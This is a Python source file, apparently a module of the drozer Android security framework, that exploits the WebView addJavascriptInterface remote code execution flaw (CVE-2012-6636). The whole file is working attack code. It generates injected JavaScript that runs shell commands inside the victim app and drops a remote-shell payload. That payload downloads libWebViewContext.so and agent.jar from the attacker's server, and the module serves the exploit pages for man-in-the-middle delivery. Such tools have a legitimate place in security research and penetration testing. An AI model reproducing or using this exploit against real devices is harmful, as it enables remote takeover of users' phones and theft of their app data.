from drozer.modules import common, Module
from drozer.configuration import Configuration
from WithSecure.common import fs
import os, sys

class addJavaScriptInterface(Module, common.Exploit):
    
    name = "WebView addJavascriptInterface Remote Code Execution (CVE-2012-6636)"
    description = """Exploit an application making use of a WebView with a JavaScript Interface defined. This requires that the attacker has the ability to inject JavaScript into the HTTP response going to the WebView. This can be achieved through any one of a number of traffic interception attacks. This module also works on the stock Android Browser < 4.2 and a number of other third-party browsers.

Reference: https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/

Vulnerable Android applications are ones that meet the following conditions:
    * WebView with JavascriptInterface defined
    * WebView loads content over clear text HTTP or contains an SSL validation flaw
    * Application or third-party SDK with JavascriptInterface is compiled with target API version < 17

    """
    examples = "$ drozer exploit build exploit.remote.webview.addjavascriptinterface --payload weasel.shell.armeabi --server 10.10.10.10"
    author = ["Tyrone (@mwrlabs)", "nmonkee (@mwrlabs)"]
    date = "2013-11-07"
    license = "BSD (3 clause)"
    path = ["exploit", "remote", "browser"]
    module_type = "exploit"

    payloads = ["weasel.shell.armeabi"] 

    def __init__(self, session, loader):
        Module.__init__(self, session)
        common.Exploit.__init__(self, loader)

        self.payload_format = "N"
        self.working_directory = "."

    def add_arguments(self, parser):
        parser.add_argument("--resource", default=None, help="specify the path component of the resultant exploit URI")
        parser.add_argument("--no-context", action="store_true", default=False, help="disable the additional code that gives drozer payload")

    def _weaselGet(self, host, port, resource):
        return "./w %s %s get %s; " % (host, port, resource)

    def _execute(self, cmd, escapeQuote=True):
        tmp = "execute(\"cd \" + dataDir + \";"
        
        if not escapeQuote:
            tmp += cmd.replace("\\", "\\\\")
        else:
            tmp += cmd.replace("\\", "\\\\").replace("\"", "\\\"")

        tmp = tmp.replace("\n", " ;")
        tmp += "\");\n"
        return tmp


    def generate(self, arguments):

        host = arguments.server[0]
        port = str(arguments.server[1])

        # Load addjsi-exploit-functions.js
        functions_path = Configuration.library(os.path.join("scripts", "addjsi-exploit-functions.js"))
        drozer_js = fs.read(functions_path)

        # Save packageName and dataDir into variables
        drozer_js += "packageName = getPackageName();\n"
        drozer_js += "dataDir = \"/data/data/\" + packageName;\n"


        if arguments.no_context:

            # Add payload - normal weasel
            drozer_js += self._execute(self.payload.strip())

        else:

            #
            # Add payload - libWebViewContext.so addition
            #

            # Write weasel and get server.settings
            drozer_js += self._execute(self.payload.strip() + " get server.settings")

            # Download additional tools
            additional_tools = self._weaselGet(host, port, "libWebViewContext.so")
            additional_tools += self._weaselGet(host, port, "agent.jar")
            drozer_js += self._execute(additional_tools)

            # Load libWebViewContext.so
            drozer_js += "loadLib(dataDir + \"/libWebViewContext.so\");\n"

            # Build server.settings and push
            server_settings = host + "," + port
            sys.stdout.write("Uploading server.settings...")
            if not self.upload(arguments, "/server.settings", server_settings):
                return

            # Upload libWebViewContext.so
            sys.stdout.write("Uploading libWebViewContext.so...")
            libPath = str(Configuration.library(os.path.join("WebViewContext", "libs", "armeabi", "libWebViewContext.so")))
            if not self.upload(arguments, "/libWebViewContext.so", fs.read(libPath)):
                return

        path = self.generate_or_default_path(arguments.resource)
        exploit = """<html><script type="text/javascript" src="dz.js"></script></html>"""

        sys.stdout.write("Uploading blank page to /...")
        if not self.upload(arguments, "/", " "):
            return

        sys.stdout.write("Uploading exploit inclusion page to %s..." % path)
        if not self.upload(arguments, path, self.build_multipart({ ".*": exploit }, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="text/html", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }):
            return

        sys.stdout.write("Uploading exploit to /dz.js...")
        if not self.upload(arguments, "/dz.js", self.build_multipart({ ".*": drozer_js }, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="application/x-javascript", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }):
            return

        sys.stdout.write("Done. The exploit is available on: http://%s:%s%s\n" % (host, port, path.replace("\\","")))
        sys.stdout.write("When using the MitM helper plugin for drozer: JS Location = http://%s:%s/dz.js\n" % (host, port))
